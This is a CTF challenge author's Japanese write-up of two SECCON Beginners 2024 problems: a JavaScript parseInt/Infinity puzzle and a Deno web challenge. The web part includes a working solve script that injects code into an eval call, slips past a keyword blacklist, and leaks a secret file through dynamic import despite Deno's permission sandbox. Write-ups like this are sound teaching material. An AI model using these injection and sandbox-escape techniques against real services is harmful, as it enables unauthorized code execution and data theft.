はじめに
今年も参加いただきありがとうございました。今年はgetRankとflagAliasの2問を提供しました。
[misc]getRankはJavaScriptの仕様を用いたパズルっぽいeasy問かつ型関連の問題では無いもの作ろうというコンセプトで作問しました。結果的にpwnのbeginner問題の次に解かれ、easyにしては優しすぎたかもしれませんが、SECCON beginners CTFはこれくらいがeasyでちょうどいいのではないかという気持ちもあります。
[web] flagAlias まず初めに、6時間もの間サーバを落としてしまい、本当にすみませんでした。 想定は全然prototype pollutionじゃなくて、普通にCTF開始まで気づかなかったです(Denoに--allow-run
付けなかったからまあ大抵のペイロードは大丈夫だろと慢心してました)。
この問題は「Denoは--allow-read
フラグが設定されていなくても、別ファイルの中身を取得できることがある」という題材の問題でした。方針が分かっても結構書く必要のあるペイロードも長くて大変だったかと思います。また、この問題はmedium最難関でした。prototype pollutionがあった結果論を考えると難易度は適切だったかと思っていますが、なかったら難易度想定をミスってたかもしれません。
また、他の作問者のwriteupは以下の通りです。
- yuasa: https://melonattacker.github.io/posts/44/
- task4233: https://qiita.com/task4233/items/b35cbf3d217cb93fc1c3
- Satoki: https://github.com/satoki/ctf4b_2024_satoki_writeups
- n01e0: https://feneshi.co/ctf4b2024writeup/
[misc] getRank
main.tsを読むと、ランキングで1位(スコア10**255
より大きい)を取ればフラグを得られることがわかります。
function ranking(score: number): Res {
const getRank = (score: number) => {
const rank = RANKING.findIndex((r) => score > r);
return rank === -1 ? RANKING.length + 1 : rank + 1;
};
const rank = getRank(score);
if (rank === 1) {
return {
rank,
message: process.env.FLAG || "fake{fake_flag}",
};
} else {
return {
rank,
message: `You got rank ${rank}!`,
};
}
}
ランキングはユーザの入力を整数にパースした結果で決まることがわかります。ここで、ユーザの入力として、以下のようなものは禁止されていることがわかる
- 文字数が300より大きい
- パースした結果が
NaN
- パースした結果、
10**255
より大きい
function chall(input: string): Res {
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
}
つまり、スコアが10**255
より大きくないと1位を取れないが、パースした結果が10**255
より大きいとペナルティとして10**100で除算されるため、1位を取れないことがわかります。
ここで、パースした結果がInfinityであれば、除算のペナルティを受けないことに気づきます。parseInt
の結果がInfinityにする必要がありますが、実はparseInt
はhexを受け付けます。
なので、0X${"F".repeat(256)}
を入力するとフラグが手に入ります。
ctf4b{15_my_5c0r3_700000_b1g?}
[web] flagAlias
※これは想定解法ですが、有志の方がprototype pollutionのもう少し簡単な解法を公開されているかもしれません。
方針
この問題は偽物のフラグに対して別名(alias)を設定できるだけのサービスになっています。本物のフラグは別ファイル(flag.ts)に記載されています。ただし、別名を設定する際にはeval関数を使用することができます。該当コードを抜粋すると以下の箇所です。
const m: { [key: string]: string } = {
"wonderful flag": "fake{wonderful_fake_flag}",
"special flag": "fake{special_fake_flag}",
};
const key = await eval(waf(alias));
m[key] = flag.getFakeFlag();
return JSON.stringify(Object.entries(m), null, 2);
evalに与える文字列はwafを経由しています。wafでは以下のようにNGワードを設定しています。
const ngWords = [
"eval",
"Object",
"proto",
"require",
"Deno",
"flag",
"ctf4b",
"http",
];
もう一つ留意事項として、Denoはpermissionを設定しない限りはファイルの読み込みができません。実際、実行コマンドはDENO_NO_PROMPT=1 deno run --allow-sys --allow-net --allow-env main.ts
となっています。そのため、本来はflag.tsの内容を取得することはできません。
しかし、import関数だけはpermissionをバイパスすることができます。ただし、バンドルされたファイルに限ります。この問題のimportはこのようになっています。
import * as flag from "./flag.ts";
つまり、flag.ts内の全exportが設定されているファイルはimport可能であることがわかります。そこで、うまいことflag.ts内の関数の情報を取得することができれば、本物のフラグを取得することができそうです。
**FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**
関数の内容を取得
m[key] = flag.getFakeFlag();
に注目すると、jsのmapはkeyにstring以外を入れるときに、toString()が呼ばれてからmapに代入されます。関数をtoString()すると、関数の情報として、関数内のコメントまで取得することができます。ただし、これが動作するのはDenoの<=1.42までになっています。
ここで、仮に関数名がわかったとします。その場合、import関数で関数を取得し、mapのkeyに代入させる際にtoString関数を実行させます。import関数はasync関数であるため、awaitを使いますが、evalはasync関数を実行できないため、Immediately-Invoked Function Expressionを使って実行します。
const secretFuncName = "????" // これはあとでわかる
const payload = `(async() => {
return (await import("./fl"+"ag.ts")).${secretFuncName}
})()`
return await fetch(`http://${HOST}:${PORT}`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ alias: payload }),
})
.then((response) => {
return response.json();
})
.then((data) => {
return data;
});
よって、次は関数名を取得する方法を考えます。
関数名の取得
関数名は公開されていないため、どうにかして取得する必要があります。
export function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() {
// **REDACTED**
return "**REDACTED**";
}
export function getFakeFlag() {
return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}";
}
ここで、import関数の返り値に関数名一覧が含まれていることに気づきます。関数名は列挙不可能なプロパティなプロパティとして設定されているため、Reflect.ownKeysを使って取得することができます。
const payload = `(async() => {
const mod = await import("./fl"+"ag.ts");
return Reflect.ownKeys(mod).map(k => k.toString())
})()`
よって以下のコードでフラグを取得することができます。
const PORT = Deno.env.get("PORT") || "80";
const HOST = Deno.env.get("HOST") || "localhost";
async function request(payload: string) {
return await fetch(`http://${HOST}:${PORT}`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ alias: payload }),
})
.then((response) => {
return response.json();
})
.then((data) => {
return data;
});
}
const res1 = await request(`(async() => {
const mod = await import("./fl"+"ag.ts");
return Reflect.ownKeys(mod).map(k => k.toString())
})()`);
const secretFuncName = res1?.[2]?.[0].split(",")?.[1];
console.log({ secretFuncName });
if (!secretFuncName) {
console.log("Failed to get secret function name");
Deno.exit(1);
}
const res2 = await request(`(async() => {
return (await import("./fl"+"ag.ts")).${secretFuncName}
})()`);
const flag = res2?.[2]?.[0].match(/ctf4b{.*}/)?.[0];
console.log({ flag });